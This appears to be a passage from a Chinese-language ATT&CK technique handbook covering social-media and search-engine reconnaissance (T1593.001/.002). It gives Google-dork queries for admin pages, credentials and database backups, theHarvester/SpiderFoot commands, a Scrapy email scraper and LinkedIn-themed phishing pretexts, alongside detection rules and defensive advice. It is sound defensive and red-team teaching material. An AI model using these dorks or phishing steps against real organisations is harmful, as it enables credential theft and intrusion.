- **社会工程**:
- 伪装成行业同行添加目标员工为好友,观察其动态或私信套取信息。
- 发送钓鱼邮件,伪装成LinkedIn通知,诱导员工泄露凭据。
- **案例场景**:
- 使用theHarvester从LinkedIn收集目标组织的员工邮箱,发起针对性钓鱼攻击。
- 通过Twitter搜索员工动态,发现使用的内部工具(如Slack),推测登录入口。
- 参考案例:,通过社交媒体OSINT发现关键员工信息,结合钓鱼实现初始访问。
## 检测日志
社交媒体信息收集多通过公开渠道进行,难以直接监测。以下是可能的日志来源:
- **邮件服务器日志**:
- 检测钓鱼邮件或社会工程攻击,可能与社交媒体收集的邮箱相关。
- **Web服务器日志**:
- 记录异常的HTTP请求,如高频爬取或异常User-Agent,可能与社交媒体数据搜刮相关。
- **身份认证日志**:
- 监控与社交媒体账户关联的异常登录尝试。
- **DLP日志**:
- 检测员工通过邮件或社交媒体泄露敏感信息。
## 测试复现
以下是模拟社交媒体信息收集的步骤:
1. **环境准备**:
- 在授权测试环境中模拟目标组织的社交媒体账户(如LinkedIn公司页面、员工Twitter)。
2. **信息收集**:
- 使用Google搜索:
```bash
site:linkedin.com "TargetCorp" "engineer"
```
- 运行theHarvester:
```bash
theharvester -d target.com -b linkedin -l 100 -f output.html
```
- 使用SpiderFoot:
```bash
spiderfoot -m sfp_linkedin -t target.com -s output.json
```
3. **社会工程模拟**:
- 在红队测试中,伪装成同行添加目标员工为好友,收集动态信息。
- 发送伪装的LinkedIn通知邮件,诱导员工泄露凭据。
4. **结果分析**:
- 整理收集到的邮箱、职位和动态信息,分析潜在攻击入口。
5. **日志收集**:
- 收集邮件服务器、Web服务器和DLP日志,验证社会工程或爬虫痕迹。
## 测试留痕
社交媒体信息收集可能留下以下痕迹:
- **Web服务器日志**:异常HTTP请求,如高频爬取或异常User-Agent(如`python-requests`)。
- **邮件服务器日志**:钓鱼邮件或社会工程交互记录。
- **社交媒体平台日志**:异常的账户访问或好友请求,可能表明伪装行为。
- **DLP告警**:员工泄露敏感信息到社交媒体的记录。
## 检测规则/思路
由于社交媒体信息收集多发生在目标组织监测范围之外,检测需结合多种手段:
- **邮件流量监控**:
- 使用DLP工具检测异常的邮件模式,如伪装成社交媒体通知的钓鱼邮件。
- 示例DLP规则:
```plaintext
Rule: Detect Phishing Emails
Condition: Email contains "linkedin.com" AND "password reset"
Action: Alert
```
- **Web流量监控**:
- 使用WAF(如Cloudflare、ModSecurity)检测异常爬虫行为,匹配常见OSINT工具的User-Agent。
- 示例WAF规则:
```nginx
if ($http_user_agent ~* "(theHarvester|SpiderFoot|python-requests)") {
return 403;
}
```
- **社交媒体监控**:
- 使用第三方工具(如Brand24、Hootsuite)监控组织在社交媒体上的提及。
- 检测异常的好友请求或私信,可能与社会工程相关。
- **威胁情报整合**:
- 结合威胁情报平台(如微步在线、奇安信),识别已知的OSINT工具IP或钓鱼模式。
- 监控Pastebin或暗网论坛,检查是否出现组织的员工数据。
- **日志关联**:
- 使用SIEM(如Splunk、ELK)关联邮件、Web和身份认证日志,检测异常的社会工程或爬取行为。
## 建议
- **减少信息暴露**:
- 指导员工限制社交媒体上的敏感信息发布,如工作邮箱、内部工具或动态。
- 配置社交媒体账户为私有,限制公开访问。
- 定期检查LinkedIn、微博等平台上的组织信息,移除不必要的细节。
- **安全意识培训**:
- 对员工进行社会工程防御培训,警惕伪装的好友请求或钓鱼邮件。
- 教育员工避免在社交媒体上泄露工作相关信息。
- **安全加固**:
- 实施MFA保护与员工社交媒体账户关联的邮箱或系统。
- 配置WAF拦截异常爬虫请求,保护公开网站。
- **主动监控与响应**:
- 使用Google Alerts或Brand24监控与组织的社交媒体提及。
- 部署DLP工具,检测敏感信息泄露到社交媒体。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的社交媒体侦察活动。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1566、有效账户T1078),通过异常邮件或登录行为间接发现侦察活动。
## 参考资料
- MITRE ATT&CK: T1593-001
- Github Hacking | Google Hacking - 信息搜集篇
- 全流程信息收集方法总结
================================================
FILE: Windows/01侦察/T1593.002-搜索开放的域和网站-搜索引擎.md
================================================
# T1593.002-搜索开放的域和网站-搜索引擎
## 描述
攻击者在入侵目标组织之前,可能通过搜索引擎收集目标的网络信息。搜索引擎(如Google、Bing、百度)通过爬取在线站点并索引内容,提供丰富的公开信息。攻击者可利用专门的搜索语法(如Google Hacking)查询目标的敏感信息,例如子域名、泄露的凭据、配置文件、后台地址或网络设备信息。这些信息可帮助攻击者了解目标的网络架构、关键资产或潜在漏洞。
攻击者可能通过以下方式使用搜索引擎:
- **Google Hacking**:使用高级搜索语法(如`intitle`、`inurl`)查找目标网站的敏感页面或文件。
- **公开信息搜刮**:搜索与目标相关的公开文档、员工信息或业务关系。
- **社会工程结合**:利用搜索到的邮箱或联系信息发起针对性钓鱼攻击。
- **泄露数据挖掘**:查找Pastebin或其他平台上泄露的与目标相关的敏感信息。
收集到的信息可能为后续攻击活动做准备,例如钓鱼(T1566)、搜索开放技术数据库(T1596)、建立运营资源(T1583/T1584)或通过有效账户(T1078)或钓鱼实现初始访问。
## 测试案例
以下是模拟攻击者使用搜索引擎收集信息的常见方法和工具:
### 1. **Google Hacking 基础**
利用Google高级搜索语法查找目标的敏感信息:
- **intitle**:搜索网页标题中的关键词。
```bash
intitle:"admin login" site:target.com
# 查找目标网站标题中包含“admin login”的页面
```
- **inurl**:搜索URL中的关键词。
```bash
inurl:(admin | login) site:target.com
# 查找目标网站URL中包含“admin”或“login”的页面
```
- **intext**:搜索网页正文中的关键词。
```bash
intext:(password | admin) site:target.com
# 查找网页正文包含“password”或“admin”的页面
```
- **filetype**:搜索特定类型的文件。
```bash
filetype:pdf site:target.com "staff directory"
# 查找目标网站上的员工目录PDF
```
- **site**:限制搜索范围到特定网站。
```bash
site:*.target.com -inurl:(signup | login)
# 查找目标网站的所有子域名,排除注册或登录页面
```
- **allinurl**:搜索URL中包含多个关键词。
```bash
allinurl:(manage system) site:target.com
# 查找URL同时包含“manage”和“system”的页面
```
### 2. **Google Hacking 进阶**
- **查找后台地址**:
```bash
site:target.com inurl:(login | admin | manage | member | admin_login | login_admin | system | user | main | cms)
# 查找可能的后台登录页面
```
- **查找泄露凭据**:
```bash
site:*.target.com intext:(admin | username | password | system | login)
# 查找包含敏感信息的页面
```
- **查找可注入点**:
```bash
site:target.com inurl:(aspx | jsp | php | asp)
# 查找可能存在SQL注入或XSS漏洞的动态页面
```
- **查找上传漏洞**:
```bash
site:target.com inurl:(file | load | editor | Files)
# 查找文件上传页面
```
- **查找网络设备**:
```bash
intext:"WEB Management Interface" site:target.com
# 查找暴露的网络设备管理界面
```
- **查找数据库文件**:
```bash
site:target.com filetype:(mdb | sql | bak)
# 查找暴露的数据库备份文件
```
### 3. **其他搜索引擎**
- **百度**:使用类似Google Hacking的语法,适合国内目标。
```bash
site:target.com 后台管理
# 查找包含“后台管理”的页面
```
- **Bing**:支持`inurl`、`site`等语法。
```bash
site:target.com inurl:login
# 查找登录页面
```
- **Shodan Search** (): 结合搜索引擎查询网络设备。
```bash
org:TargetCorp port:80
# 查找目标组织的Web服务器
```
### 4. **案例场景**
- 使用Google搜索`site:target.com filetype:pdf "employee list"`,发现员工名单PDF,提取邮箱用于钓鱼。
- 使用`site:target.com inurl:admin`找到未受保护的后台登录页面,尝试默认凭据登录。
- 参考案例:,通过Google Hacking发现目标网站的敏感配置文件。
## 检测日志
搜索引擎信息收集多通过公开渠道进行,难以直接监测。以下是可能的日志来源:
- **Web服务器日志**:
- 记录异常的HTTP请求,如高频爬取、异常User-Agent或Referer。
- **WAF日志**:
- 检测被WAF拦截的爬虫请求或异常搜索模式。
- **DNS日志**:
- 检测针对子域名的异常查询,可能与搜索引擎发现的子域名相关。
- **邮件服务器日志**:
- 监控钓鱼邮件或社会工程攻击,可能与搜索到的邮箱信息相关。
## 测试复现
以下是模拟搜索引擎信息收集的步骤:
1. **环境准备**:
- 在授权测试环境中搭建目标网站,包含公开页面、PDF文档或子域名。
2. **搜索执行**:
- 使用Google搜索:
```bash
site:target.com inurl:admin
site:target.com filetype:pdf "contact"
```
- 使用百度搜索:
```bash
site:target.com 管理后台
```
- 使用Shodan查询:
```bash
org:TargetCorp port:443
```
3. **爬虫模拟**:
- 使用Scrapy爬取目标网站:
```python
import scrapy
class TargetSpider(scrapy.Spider):
name = "target_spider"
start_urls = ["http://www.target.com"]
def parse(self, response):
emails = response.xpath("//a[contains(@href, 'mailto:')]/text()").getall()
yield {"emails": emails}
```
- 运行:`scrapy crawl target_spider -o emails.json`
4. **结果分析**:
- 整理收集到的邮箱、子域名或敏感文件,分析潜在攻击入口。
5. **日志收集**:
- 收集Web服务器、WAF和DNS日志,验证爬虫或搜索痕迹。
## 测试留痕
搜索引擎信息收集可能留下以下痕迹:
- **Web服务器日志**:高频HTTP请求、异常User-Agent(如`Googlebot`、`python-requests`)或爬虫模式(如访问robots.txt)。
- **WAF/IDS告警**:触发爬虫检测规则或高频请求限制。
- **DNS日志**:子域名枚举导致的异常DNS查询。
- **邮件服务器日志**:钓鱼邮件或社会工程交互记录。
## 检测规则/思路
由于搜索引擎信息收集多发生在目标组织监测范围之外,检测需结合多种手段:
- **Web流量监控**:
- 使用WAF(如Cloudflare、ModSecurity)检测异常爬虫行为,匹配常见User-Agent(如`Googlebot`、`Scrapy`)。
- 示例WAF规则:
```nginx
if ($http_user_agent ~* "(Scrapy|python-requests|bot)") {
return 403;
}
```
- 监控高频HTTP请求或异常路径访问(如`/admin`、`.pdf`)。
- **DNS查询监控**:
- 记录针对子域名的异常DNS查询,检测可能的子域名发现行为。
- 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。
- **信息泄露防护**:
- 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露敏感信息。
- 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的敏感数据。
- **威胁情报整合**:
- 结合威胁情报平台(如微步在线、奇安信),识别已知的爬虫IP或钓鱼模式。
- 使用Google Alerts监控与组织相关的公开信息泄露。
## 建议
- **减少信息暴露**:
- 限制网站上公开的敏感信息(如员工邮箱、PDF文档)。
- 使用robots.txt限制搜索引擎爬取敏感页面(如`/admin`)。
- 定期检查搜索引擎缓存(如Google Cache)或存档网站(如Wayback Machine),请求删除泄露信息。
- **网站安全加固**:
- 配置WAF保护网站,拦截异常爬虫或高频请求。
- 实施MFA(多因素认证)保护后台登录页面。
- 定期审计子域名,移除不必要的或未受保护的子域名。
- **主动监控与响应**:
- 使用Google Alerts或类似工具监控与组织相关的公开信息。
- 部署Web日志分析工具(如Splunk、ELK),监控异常爬取行为。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的搜索引擎侦察活动。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1566、有效账户T1078),通过异常流量或钓鱼行为间接发现侦察活动。
## 参考资料
- MITRE ATT&CK: T1593-002
- Github Hacking | Google Hacking - 信息搜集篇
- Google Hacking 总结